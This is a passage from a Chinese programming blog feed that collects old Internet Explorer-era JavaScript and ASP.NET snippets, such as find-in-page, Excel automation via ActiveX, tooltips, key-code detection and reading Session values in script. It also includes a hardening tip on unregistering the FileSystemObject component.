tr);&nbsp;<br/>&nbsp;&nbsp;txt.sel&#101;ct();&nbsp;<br/>&nbsp;&nbsp;txt.scrollIntoView();&nbsp;<br/>&nbsp;&nbsp;n++;&nbsp;&nbsp;&nbsp;<br/>&nbsp;}&nbsp;<br/>&nbsp;else&nbsp;<br/>&nbsp;{&nbsp;<br/>&nbsp;&nbsp;if&nbsp;(n&nbsp;&gt;&nbsp;0)&nbsp;<br/>&nbsp;&nbsp;{&nbsp;<br/>&nbsp;&nbsp;&nbsp;n&nbsp;=&nbsp;0;&nbsp;<br/>&nbsp;&nbsp;&nbsp;findInPage(str);&nbsp;<br/>&nbsp;&nbsp;}&nbsp;<br/>&nbsp;&nbsp;else&nbsp;<br/>&nbsp;&nbsp;{&nbsp;<br/>&nbsp;&nbsp;&nbsp;alert(str&nbsp;+&nbsp;&#34;...&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;您要找的文字不存在。\n&nbsp;\n请试着输入页面中的关键字再次查找！&#34;);&nbsp;<br/>&nbsp;&nbsp;}&nbsp;<br/>&nbsp;}&nbsp;<br/>&nbsp;return&nbsp;false;&nbsp;<br/>}&nbsp;<br/>//书&nbsp;<br/><a href="http://www.itpub.net/attachment.php?s=" target="_blank">http://www.itpub.net/attachment.php?s=</a>&amp;postid=1894598&nbsp;<br/><a href="http://www.wrclub.net/down/listdown.aspx?id=1341" target="_blank">http://www.wrclub.net/down/listdown.aspx?id=1341</a>&nbsp;<br/>//操作EXECL&nbsp;<br/>&lt;script&nbsp;language=&#34;javascript&#34;&gt;&nbsp;<br/>function&nbsp;jStartExcel()&nbsp;{&nbsp;<br/>&nbsp;var&nbsp;xls&nbsp;=&nbsp;new&nbsp;ActiveXObject&nbsp;(&nbsp;&#34;Excel.Application&#34;&nbsp;);&nbsp;<br/>&nbsp;xls.visible&nbsp;=&nbsp;true;&nbsp;<br/>&nbsp;var&nbsp;newBook&nbsp;=&nbsp;xls.Workbooks.Add;&nbsp;<br/>&nbsp;newBook.Worksheets.Add;&nbsp;<br/>&nbsp;newBook.Worksheets(1).Activate;&nbsp;<br/>&nbsp;xls.ActiveWorkBook.ActiveSheet.PageSetup.Orientation&nbsp;=&nbsp;2;&nbsp;<br/>&nbsp;xls.ActiveWorkBook.ActiveSheet.PageSetup.PaperSize&nbsp;=&nbsp;5;&nbsp;<br/>&nbsp;newBook.Worksheets(1).Columns(&#34;A&#34;).columnwidth=50;&nbsp;<br/>&nbsp;newBook.Worksheets(1).Columns(&#34;A&#34;).WrapText&nbsp;=&nbsp;true;&nbsp;<br/>&nbsp;newBook.Worksheets(1).Columns(&#34;B&#34;).columnwidth=50;&nbsp;<br/>&nbsp;newBook.Worksheets(1).Columns(&#34;B&#34;).WrapText&nbsp;=&nbsp;true;&nbsp;<br/>&nbsp;newBook.Worksheets(1).Range(&#34;A1:B1000&#34;).NumberFormat&nbsp;=&nbsp;&#34;0&#34;;&nbsp;<br/>&nbsp;newBook.Worksheets(1).Range(&#34;A1:B1000&#34;).HorizontalAlignment&nbsp;=&nbsp;-4131;&nbsp;<br/>&nbsp;newBook.Worksheets(1).Cells(1,1).Interior.ColorIndex=&#34;15&#34;;&nbsp;<br/>&nbsp;newBook.Worksheets(1).Cells(1,1).value=&#34;First&nbsp;Column,&nbsp;First&nbsp;Cell&#34;;&nbsp;<br/>&nbsp;newBook.Worksheets(1).Cells(2,1).value=&#34;First&nbsp;Column,&nbsp;Second&nbsp;Cell&#34;;&nbsp;<br/>&nbsp;newBook.Worksheets(1).Cells(1,2).value=&#34;Second&nbsp;Column,&nbsp;First&nbsp;Cell&#34;;&nbsp;<br/>&nbsp;newBook.Worksheets(1).Cells(2,2).value=&#34;Second&nbsp;Column,&nbsp;Second&nbsp;Cell&#34;;&nbsp;<br/>&nbsp;newBook.Worksheets(1).Name=&#34;My&nbsp;First&nbsp;WorkSheet&#34;;&nbsp;<br/>}&nbsp;<br/>&lt;/script&gt;&nbsp;<br/>//自定义提示条&nbsp;<br/><br/>&lt;a&nbsp;href=&#34;#&#34;&nbsp;title=&#34;这是提示&#34;&gt;tip&lt;/a&gt;&nbsp;<br/>&lt;script&nbsp;Language=&#34;JavaScript&#34;&gt;&nbsp;<br/>//***********默认设置定义.*********************&nbsp;<br/>tPopWait=50;//停留tWait豪秒后显示提示。&nbsp;<br/>tPopShow=5000;//显示tShow豪秒后关闭提示&nbsp;<br/>showPopStep=20;&nbsp;<br/>popOpacity=99;&nbsp;<br/>//***************内部变量定义*****************&nbsp;<br/>sPop=null;&nbsp;<br/>curShow=null;&nbsp;<br/>tFadeOut=null;&nbsp;<br/>tFadeIn=null;&nbsp;<br/>tFadeWaiting=null;&nbsp;<br/>document.write(&#34;&lt;style&nbsp;type=&#39;text/css&#39;id=&#39;defaultPopStyle&#39;&gt;&#34;);&nbsp;<br/>document.write(&#34;.cPopText&nbsp;{&nbsp;&nbsp;background-color:&nbsp;#F8F8F5;color:#000000;&nbsp;border:&nbsp;1px&nbsp;#000000&nbsp;solid;font-color:&nbsp;font-size:&nbsp;12px;&nbsp;padding-right:&nbsp;4px;&nbsp;padding-left:&nbsp;4px;&nbsp;height:&nbsp;20px;&nbsp;padding-top:&nbsp;2px;&nbsp;padding-bottom:&nbsp;2px;&nbsp;filter:&nbsp;Alpha(Opacity=0)}&#34;);&nbsp;<br/>document.write(&#34;&lt;/style&gt;&#34;);&nbsp;<br/>document.write(&#34;&lt;div&nbsp;id=&#39;dypopLayer&#39;&nbsp;style=&#39;position:absolute;z-index:1000;&#39;&nbsp;class=&#39;cPopText&#39;&gt;&lt;/div&gt;&#34;);&nbsp;<br/>function&nbsp;showPopupText(){&nbsp;<br/>var&nbsp;o=event.srcElement;&nbsp;<br/>MouseX=event.x;&nbsp;<br/>MouseY=event.y;&nbsp;<br/>if(o.alt!=null&nbsp;&amp;&amp;&nbsp;o.alt!=&#34;&#34;){o.dypop=o.alt;o.alt=&#34;&#34;};&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(o.title!=null&nbsp;&amp;&amp;&nbsp;o.title!=&#34;&#34;){o.dypop=o.title;o.title=&#34;&#34;};&nbsp;<br/>if(o.dypop!=sPop)&nbsp;{&nbsp;<br/>sPop=o.dypop;&nbsp;<br/>clearTimeout(curShow);&nbsp;<br/>clearTimeout(tFadeOut);&nbsp;<br/>clearTimeout(tFadeIn);&nbsp;<br/>clearTimeout(tFadeWaiting);&nbsp;<br/>if(sPop==null&nbsp;||&nbsp;sPop==&#34;&#34;)&nbsp;{&nbsp;<br/>dypopLayer.innerHTML=&#34;&#34;;&nbsp;<br/>dypopLayer.style.filter=&#34;Alpha()&#34;;&nbsp;<br/>dypopLayer.filters.Alpha.opacity=0;&nbsp;<br/>}&nbsp;<br/>else&nbsp;{&nbsp;<br/>if(o.dyclass!=null)&nbsp;popStyle=o.dyclass&nbsp;&nbsp;<br/>else&nbsp;popStyle=&#34;cPopText&#34;;&nbsp;<br/>curShow=setTimeout(&#34;showIt()&#34;,tPopWait);&nbsp;<br/>}&nbsp;<br/>}&nbsp;<br/>}&nbsp;<br/>function&nbsp;showIt(){&nbsp;<br/>dypopLayer.className=popStyle;&nbsp;<br/>dypopLayer.innerHTML=sPop;&nbsp;<br/>popWidth=dypopLayer.clientWidth;&nbsp;<br/>popHeight=dypopLayer.clientHeight;&nbsp;<br/>if(MouseX+12+popWidth&gt;document.body.clientWidth)&nbsp;popLeftAdjust=-popWidth-24&nbsp;<br/>else&nbsp;popLeftAdjust=0;&nbsp;<br/>if(MouseY+12+popHeight&gt;document.body.clientHeight)&nbsp;popTopAdjust=-popHeight-24&nbsp;<br/>else&nbsp;popTopAdjust=0;&nbsp;<br/>dypopLayer.style.left=MouseX+12+document.body.scrollLeft+popLeftAdjust;&nbsp;<br/>dypopLayer.style.top=MouseY+12+document.body.scrollTop+popTopAdjust;&nbsp;<br/>dypopLayer.style.filter=&#34;Alpha(Opacity=0)&#34;;&nbsp;<br/>fadeOut();&nbsp;<br/>}&nbsp;<br/>function&nbsp;fadeOut(){&nbsp;<br/>if(dypopLayer.filters.Alpha.opacity&lt;popOpacity)&nbsp;{&nbsp;<br/>dypopLayer.filters.Alpha.opacity+=showPopStep;&nbsp;<br/>tFadeOut=setTimeout(&#34;fadeOut()&#34;,1);&nbsp;<br/>}&nbsp;<br/>else&nbsp;{&nbsp;<br/>dypopLayer.filters.Alpha.opacity=popOpacity;&nbsp;<br/>tFadeWaiting=setTimeout(&#34;fadeIn()&#34;,tPopShow);&nbsp;<br/>}&nbsp;<br/>}&nbsp;<br/>function&nbsp;fadeIn(){&nbsp;<br/>if(dypopLayer.filters.Alpha.opacity&gt;0)&nbsp;{&nbsp;<br/>dypopLayer.filters.Alpha.opacity-=1;&nbsp;<br/>tFadeIn=setTimeout(&#34;fadeIn()&#34;,1);&nbsp;<br/>}&nbsp;<br/>}&nbsp;<br/>document.onmouseover=showPopupText;&nbsp;<br/>&lt;/script&gt;&nbsp;<br/>//插入文字&nbsp;<br/>document.onclick&nbsp;=function(){&nbsp;&nbsp;<br/>var&nbsp;oSource&nbsp;=&nbsp;window.event.srcElement;&nbsp;&nbsp;<br/>if(oSource.tagName!=&#34;DIV&#34;)&nbsp;&nbsp;<br/>return&nbsp;false;&nbsp;&nbsp;<br/>var&nbsp;sel&nbsp;=&nbsp;document.sel&#101;ction;&nbsp;&nbsp;<br/>if&nbsp;(sel!=null)&nbsp;{&nbsp;&nbsp;<br/>var&nbsp;rng&nbsp;=&nbsp;sel.cr&#101;ateRange();&nbsp;&nbsp;<br/>if&nbsp;(rng!=null)&nbsp;&nbsp;<br/>rng.pasteHTML(&#34;&lt;font&nbsp;color=red&gt;插入文字&lt;/font&gt;&#34;);&nbsp;&nbsp;<br/>}&nbsp;&nbsp;<br/>}&nbsp;&nbsp;<br/>//netscapte下操作xml&nbsp;<br/>doc&nbsp;=&nbsp;new&nbsp;ActiveXObject(&#34;Msxml2.DOMDocument&#34;);&nbsp;<br/>doc&nbsp;=&nbsp;new&nbsp;ActiveXObject(&#34;Microsoft.XMLDOM&#34;)&nbsp;<br/>-&gt;&gt;&nbsp;<br/>doc&nbsp;=&nbsp;(new&nbsp;DOMParser()).parseFromString(sXML,&#39;text/xml&#39;)&nbsp;<br/>&nbsp;<br/>//判断键值&nbsp;<br/>&lt;html&gt;&nbsp;<br/>&lt;meta&nbsp;http-equiv=&#34;Content-Type&#34;&nbsp;content=&#34;text/html;&nbsp;charset=gb2312&#34;&gt;&nbsp;<br/>&lt;head&gt;&nbsp;<br/>&lt;script&nbsp;language=&#34;javascript&#34;&gt;&nbsp;<br/>var&nbsp;ie&nbsp;&nbsp;=navigator.appName==&#34;Microsoft&nbsp;Internet&nbsp;Explorer&#34;?true:false;&nbsp;<br/>&nbsp;&nbsp;&nbsp;<br/>function&nbsp;keyDown(e)&nbsp;<br/>{&nbsp;<br/>&nbsp;if(!ie)&nbsp;<br/>&nbsp;{&nbsp;<br/>&nbsp;&nbsp;var&nbsp;nkey=e.which;&nbsp;<br/>&nbsp;&nbsp;var&nbsp;iekey=&#39;现在是ns浏览器&#39;;&nbsp;<br/>&nbsp;&nbsp;var&nbsp;realkey=String.fromCharCode(e.which);&nbsp;<br/>&nbsp;}&nbsp;<br/>&nbsp;if(ie)&nbsp;<br/>&nbsp;{&nbsp;<br/>&nbsp;&nbsp;var&nbsp;iekey=event.keyCode;&nbsp;<br/>&nbsp;&nbsp;var&nbsp;nkey=&#39;现在是ie浏览器&#39;;&nbsp;<br/>&nbsp;&nbsp;var&nbsp;realkey=String.fromCharCode(event.keyCode);&nbsp;<br/>&nbsp;&nbsp;if(event.keyCode==32){realkey=&#39;\&#39;&nbsp;空格\&#39;&#39;}&nbsp;<br/>&nbsp;&nbsp;if(event.keyCode==13){realkey=&#39;\&#39;&nbsp;回车\&#39;&#39;}&nbsp;<br/>&nbsp;&nbsp;if(event.keyCode==27){realkey=&#39;\&#39;&nbsp;Esc\&#39;&#39;}&nbsp;<br/>&nbsp;&nbsp;if(event.keyCode==16){realkey=&#39;\&#39;&nbsp;Shift\&#39;&#39;}&nbsp;<br/>&nbsp;&nbsp;if(event.keyCode==17){realkey=&#39;\&#39;&nbsp;Ctrl\&#39;&#39;}&nbsp;<br/>&nbsp;&nbsp;if(event.keyCode==18){realkey=&#39;\&#39;&nbsp;Alt\&#39;&#39;}&nbsp;<br/>&nbsp;}&nbsp;<br/>&nbsp;alert(&#39;ns浏览器中键值:&#39;+nkey+&#39;\n&#39;+&#39;ie浏览器中键值:&#39;+iekey+&#39;\n&#39;+&#39;实际键为&#39;+realkey);&nbsp;<br/>}&nbsp;<br/>document.onkeydown&nbsp;=&nbsp;keyDown;&nbsp;<br/>&lt;/script&gt;&nbsp;<br/>&lt;/head&gt;&nbsp;<br/>&lt;body&gt;&nbsp;<br/>//Javascript&nbsp;Document.&nbsp;<br/>&lt;hr&gt;&nbsp;<br/>&lt;center&gt;&nbsp;<br/>&lt;h3&gt;请按任意一个键。。。。&lt;/h3&gt;&nbsp;<br/>&lt;/center&gt;&nbsp;<br/>&lt;/body&gt;&nbsp;<br/>&lt;/html&gt;&nbsp;<br/>&nbsp;<br/>//禁止FSO&nbsp;<br/><br/>1.注销组件&nbsp;<br/>regsvr32&nbsp;/u&nbsp;scrrun.dll&nbsp;<br/>2.修改PROGID&nbsp;&nbsp;<br/>HKEY_CLASSES_ROOT\Scripting.FileSystemObject&nbsp;<br/>Scripting.FileSystemObject&nbsp;<br/>3.对于使用object的用户，修改HKEY_CLASSES_ROOT\Scripting.&nbsp;<br/>//省略号&nbsp;<br/>&lt;DIV&nbsp;STYLE=&#34;width:&nbsp;120px;&nbsp;height:&nbsp;50px;&nbsp;border:&nbsp;1px&nbsp;solid&nbsp;blue;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;overflow:&nbsp;hidden;&nbsp;text-overflow:ellipsis&#34;&gt;&nbsp;<br/>&lt;NOBR&gt;就是比如有一行文字，很长，表格内一行显示不下.&lt;/NOBR&gt;&nbsp;<br/>&lt;/DIV&gt;&nbsp;<br/>&nbsp;<br/>//检测media&nbsp;play版本&nbsp;<br/><br/>&lt;IE:clientCaps&nbsp;ID=&#34;oClientCaps&#34;&nbsp;style=&#34;{behavior:url(#default#clientcaps)}&#34;&nbsp;/&gt;&nbsp;<br/>&lt;SCRIPT&gt;&nbsp;<br/>var&nbsp;flash=&#34;&#34;;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;WMPVersion=&nbsp;oClientCaps.getComponentVersion(&#34;{22D6F312-B0F6-11D0-94AB-0080C74C7E95}&#34;,&#34;ComponentID&#34;);&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(WMPVersion&nbsp;!=&nbsp;&#34;&#34;)&nbsp;{&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;flash&nbsp;=&nbsp;&#34;&#34;;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;version&nbsp;=&nbsp;WMPVersion.split(&#34;,&#34;);&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;i;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;version.length;&nbsp;i++)&nbsp;{&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(i&nbsp;!=&nbsp;0)&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;flash&nbsp;+=&nbsp;&#34;.&#34;;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;flash&nbsp;+=&nbsp;version[i];&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.write(&#34;您的Windows&nbsp;Media&nbsp;Player&nbsp;版本是:&#34;+flash+&#34;&lt;p&gt;&#34;);&nbsp;<br/>&nbsp;&nbsp;}&nbsp;<br/>&lt;/SCRIPT&gt;&nbsp;<br/>&nbsp;<br/><br/>&nbsp;<br/>//图象按比例&nbsp;<br/><br/>&lt;script&nbsp;language=&#34;JavaScript&#34;&gt;&nbsp;<br/>&lt;!--&nbsp;<br/>//图片按比例缩放&nbsp;<br/>var&nbsp;flag=false;&nbsp;<br/>function&nbsp;DrawImage(ImgD){&nbsp;<br/>&nbsp;var&nbsp;image=new&nbsp;Image();&nbsp;<br/>&nbsp;var&nbsp;iwidth&nbsp;=&nbsp;80;&nbsp;&nbsp;//定义允许图片宽度&nbsp;<br/>&nbsp;var&nbsp;iheight&nbsp;=&nbsp;80;&nbsp;&nbsp;//定义允许图片高度&nbsp;<br/>&nbsp;image.src=ImgD.src;&nbsp;<br/>&nbsp;if(image.width&gt;0&nbsp;&amp;&amp;&nbsp;image.height&gt;0){&nbsp;<br/>&nbsp;flag=true;&nbsp;<br/>&nbsp;if(image.width/image.height&gt;=&nbsp;iwidth/iheight){&nbsp;<br/>&nbsp;&nbsp;if(image.width&gt;iwidth){&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;ImgD.width=iwidth;&nbsp;<br/>&nbsp;&nbsp;ImgD.height=(image.height*iwidth)/image.width;&nbsp;<br/>&nbsp;&nbsp;}else{&nbsp;<br/>&nbsp;&nbsp;ImgD.width=image.width;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;ImgD.height=image.height;&nbsp;<br/>&nbsp;&nbsp;}&nbsp;<br/>&nbsp;&nbsp;ImgD.alt=image.width+&#34;×&#34;+image.height;&nbsp;<br/>&nbsp;&nbsp;}&nbsp;<br/>&nbsp;else{&nbsp;<br/>&nbsp;&nbsp;if(image.height&gt;iheight){&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;ImgD.height=iheight;&nbsp;<br/>&nbsp;&nbsp;ImgD.width=(image.width*iheight)/image.height;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;}else{&nbsp;<br/>&nbsp;&nbsp;ImgD.width=image.width;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;ImgD.height=image.height;&nbsp;<br/>&nbsp;&nbsp;}&nbsp;<br/>&nbsp;&nbsp;ImgD.alt=image.width+&#34;×&#34;+image.height;&nbsp;<br/>&nbsp;&nbsp;}&nbsp;<br/>&nbsp;}&nbsp;<br/>}&nbsp;&nbsp;<br/>//--&gt;&nbsp;<br/>&lt;/script&gt;&nbsp;<br/>&lt;img&nbsp;src=&#34;..&#34;&nbsp;onload&nbsp;=&nbsp;&#34;DrawImage(this)&#34;&gt;&nbsp;<br/>&nbsp;<br/><br/>&nbsp;<br/>//细线Sel&#101;ct&nbsp;<br/><br/>&lt;span&nbsp;style=&#34;border:1px&nbsp;solid&nbsp;#000000;&nbsp;position:absolute;&nbsp;overflow:hidden;&#34;&nbsp;&gt;&nbsp;<br/>&lt;sel&#101;ct&nbsp;style=&#34;margin:-2px;&#34;&gt;&nbsp;<br/>&lt;option&gt;1111&lt;/option&gt;&nbsp;<br/>&lt;option&gt;11111111111111&lt;/option&gt;&nbsp;<br/>&lt;option&gt;111111111&lt;/option&gt;&nbsp;<br/>&lt;/sel&#101;ct&gt;&lt;/span&gt;&nbsp;<br/>//Import&nbsp;<br/><br/>function&nbsp;Import()&nbsp;{&nbsp;<br/>&nbsp;for(&nbsp;var&nbsp;i=0;&nbsp;i&lt;arguments.length;&nbsp;i++&nbsp;)&nbsp;{&nbsp;<br/>&nbsp;&nbsp;var&nbsp;file&nbsp;=&nbsp;arguments[i];&nbsp;<br/>&nbsp;&nbsp;if&nbsp;(&nbsp;file.match(/\.js$/i))&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;document.write(&#39;&lt;script&nbsp;type=\&#34;text/javascript\&#34;&nbsp;src=\&#34;&#39;&nbsp;+&nbsp;file&nbsp;+&nbsp;&#39;\&#34;&gt;&lt;/sc&#39;&nbsp;+&nbsp;&#39;ript&gt;&#39;);&nbsp;<br/>&nbsp;&nbsp;else&nbsp;<br/>&nbsp;&nbsp;&nbsp;document.write(&#39;&lt;style&nbsp;type=\&#34;text/css\&#34;&gt;@import&nbsp;\&#34;&#39;&nbsp;+&nbsp;file&nbsp;+&nbsp;&#39;\&#34;&nbsp;;&lt;/style&gt;&#39;);&nbsp;<br/>&nbsp;}&nbsp;<br/>};&nbsp;<br/>//js枚举&nbsp;<br/><br/>&nbsp;<br/>function&nbsp;getComputerName()&nbsp;<br/>{&nbsp;<br/>&nbsp;var&nbsp;objWMIService&nbsp;=&nbsp;GetObject(&#34;Winmgmts:root\cimv2&#34;);&nbsp;<br/>&nbsp;for(e&nbsp;=&nbsp;new&nbsp;Enumerator(objWMIService)&nbsp;;&nbsp;!e.atEnd()&nbsp;;&nbsp;e.moveNext())&nbsp;<br/>&nbsp;{&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;getComputer&nbsp;=&nbsp;e.item();&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;getComputer.Name;&nbsp;<br/>&nbsp;}&nbsp;<br/>}&nbsp;<br/><br/>//条件编译&nbsp;<br/><br/>&lt;script&nbsp;language=javascript&gt;&nbsp;<br/>/*@cc_on&nbsp;@*/&nbsp;<br/>/*@if&nbsp;(@_win32&nbsp;&amp;&amp;&nbsp;@_jscript_version&gt;5)&nbsp;<br/>function&nbsp;window.confirm(str)&nbsp;<br/>{&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;execScript(&#34;n&nbsp;=&nbsp;msgbox(&#39;&#34;+&nbsp;str&nbsp;+&#34;&#39;,&nbsp;257)&#34;,&nbsp;&#34;vbscript&#34;);&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;return(n&nbsp;==&nbsp;1);&nbsp;<br/>}&nbsp;<br/>@end&nbsp;@*/&nbsp;<br/>&lt;/script&gt;&nbsp;<br/><br/>//取得innerText&nbsp;<br/>&nbsp;<br/>&nbsp;<br/>&lt;SCRIPT&nbsp;LANGUAGE=&#34;JavaScript&#34;&gt;&nbsp;<br/>&lt;!--&nbsp;<br/>&nbsp;var&nbsp;xmlDoc&nbsp;=&nbsp;new&nbsp;ActiveXObject(&#34;Msxml2.DOMDocument.4.0&#34;);&nbsp;<br/>&nbsp;var&nbsp;currNode;&nbsp;<br/>&nbsp;xmlDoc.async&nbsp;=&nbsp;false;&nbsp;<br/>&nbsp;xmlDoc.async&nbsp;=&nbsp;false;&nbsp;<br/>&nbsp;xmlDoc.loadXML(&#34;&lt;TABLENAME&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;你好你阿三&nbsp;&nbsp;&nbsp;&nbsp;大法&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;司法等四&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/TABLENAME&gt;&#34;);&nbsp;<br/>&nbsp;currNode&nbsp;=&nbsp;xmlDoc.documentElement;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;var&nbsp;s&nbsp;=&nbsp;currNode.xml;&nbsp;<br/>&nbsp;&nbsp;var&nbsp;r&nbsp;=&nbsp;/\&lt;([^\&gt;\s]*?)[^\&gt;]*?\&gt;([^\&lt;]*?)\&lt;\/\1\&gt;/&nbsp;<br/>&nbsp;&nbsp;var&nbsp;b&nbsp;=&nbsp;s.replace(r,&#34;$2&#34;);&nbsp;<br/>&nbsp;&nbsp;alert(b);&nbsp;<br/>//--&gt;&nbsp;<br/>&lt;/SCRIPT&gt;&nbsp;<br/>//mergeAttributes&nbsp;复制所有读/写标签属性到指定元素。&nbsp;<br/>&lt;SCRIPT&gt;&nbsp;<br/>function&nbsp;fnMerge(){&nbsp;<br/>oSource.children[1].mergeAttributes(oSource.children[0]);&nbsp;<br/>}&nbsp;<br/>&lt;/SCRIPT&gt;&nbsp;<br/>&lt;SPAN&nbsp;ID=oSource&gt;&nbsp;<br/>&lt;DIV&nbsp;<br/>ID=&#34;oDiv&#34;&nbsp;<br/>ATTRIBUTE1=&#34;true&#34;&nbsp;<br/>ATTRIBUTE2=&#34;true&#34;&nbsp;<br/>onclick=&#34;alert(&#39;click&#39;);&#34;&nbsp;<br/>onmouseover=&#34;this.style.color=&#39;#0000FF&#39;;&#34;&nbsp;<br/>onmouseout=&#34;this.style.color=&#39;#000000&#39;;&#34;&nbsp;<br/>&gt;&nbsp;<br/>This&nbsp;is&nbsp;a&nbsp;sample&nbsp;&lt;B&gt;DIV&lt;/B&gt;&nbsp;element.&nbsp;<br/>&lt;/DIV&gt;&nbsp;<br/>&lt;DIV&nbsp;ID=&#34;oDiv2&#34;&gt;&nbsp;<br/>This&nbsp;is&nbsp;another&nbsp;sample&nbsp;&lt;B&gt;DIV&lt;/B&gt;&nbsp;element.&nbsp;<br/>&lt;/DIV&gt;&nbsp;<br/>&lt;/SPAN&gt;&nbsp;<br/>&lt;INPUT&nbsp;<br/>TYPE=&#34;button&#34;&nbsp;<br/>VALUE=&#34;Merge&nbsp;Attributes&#34;&nbsp;<br/>onclick=&#34;fnMerge()&#34;&nbsp;<br/>&gt;&nbsp;<br/><br/>&nbsp;&nbsp;回复&nbsp;&nbsp;引用&nbsp;&nbsp;查看&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>#7楼&nbsp;[楼主]&nbsp;2007-09-12&nbsp;11:20&nbsp;freeliver54&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>//字串替换&nbsp;<br/>function&nbsp;replace(str,oldstr,newstr)&nbsp;<br/>{&nbsp;<br/>var&nbsp;i=0;&nbsp;<br/>var&nbsp;r1&nbsp;=&nbsp;str.replace(oldstr,newstr);&nbsp;<br/>var&nbsp;r2;&nbsp;<br/>while(i&lt;5)&nbsp;<br/>{&nbsp;<br/>if(r1.indexOf(oldstr)==&nbsp;-1)&nbsp;<br/>{&nbsp;<br/>i++;&nbsp;<br/>}&nbsp;<br/>else&nbsp;<br/>{&nbsp;<br/>r2&nbsp;=&nbsp;r1.replace(oldstr,newstr);&nbsp;<br/>r1&nbsp;=&nbsp;r2;&nbsp;<br/>}&nbsp;<br/>}&nbsp;<br/>return&nbsp;r1;&nbsp;<br/>}&nbsp;&nbsp;&nbsp;<br/><br/><br/><br/>GirdView的imagebutton模版列&nbsp;调用js函数&nbsp;并传入参数&nbsp;<br/>OnClientClick=&#39;&lt;%#&nbsp;&#34;return&nbsp;IsDel&#101;te(&#34;+Eval(&#34;UserId&#34;).ToString()+&#34;);&#34;&nbsp;%&gt;&#39;&nbsp;<br/><br/><br/><br/>JS调用Session&nbsp;<br/>var&nbsp;userid=parseInt(&lt;%=Session[&#34;UserId&#34;].ToString()&nbsp;%&gt;);&nbsp;&nbsp;<br/><br/>跳转其他页面前&nbsp;先弹出相关提示&nbsp;<br/>string&nbsp;strURL&nbsp;=&nbsp;&#34;AUser.aspx?UserId=&#34;&nbsp;+&nbsp;this.UserId&nbsp;+&nbsp;&#34;&amp;PUserName=&#34;&nbsp;+&nbsp;System.Web.HttpUtility.UrlEncode(this.lbl_Title.Text);&nbsp;<br/>Response.Write(&#34;&lt;script&gt;alert(&#39;信息添加成功！&#39;);&#34;);&nbsp;<br/>Response.Write(&#34;&nbsp;location.href=\&#34;&#34;&nbsp;+&nbsp;strURL&nbsp;+&nbsp;&#34;\&#34;;&nbsp;&#34;);&nbsp;<br/>Response.Write(&#34;&lt;/script&gt;&#34;);&nbsp;<br/><br/><br/><br/><br/>JS中得到C#后台服务器Session的值&nbsp;<br/>&lt;script&nbsp;type=&#34;text/javascript&#34;&nbsp;language=&#34;javascript&#34;&gt;<br/>fn_JSGetSession();<br/>function&nbsp;fn_JSGetSession()<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;//先判断其是否存在<br/>&nbsp;&nbsp;&nbsp;&nbsp;//if((&lt;%=Session[&#34;UserID&#34;]&nbsp;%&gt;+&#34;&#34;)==&#34;&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;if(String(&lt;%=Session[&#34;UserID&#34;]&nbsp;%&gt;)==&#34;&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(&#34;不存在该Session值&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;//弹出其值<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(&lt;%=Session[&#34;UserID&#34;]&nbsp;%&gt;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>}<br/>&lt;/script&gt;&nbsp;]]></description>
		</item>
		
			<item>
			<link>http://www.dbsun.com/default.asp?id=120</link>
			<title><![CDATA[哀悼逝者 一句话网站变成灰色]]></title>
			<author>dbmaster@163.com(zilong)</author>
			<category><![CDATA[Javascript]]></category>
			<pubDate>Tue,20 May 2008 10:38:17 +0800</pubDate>
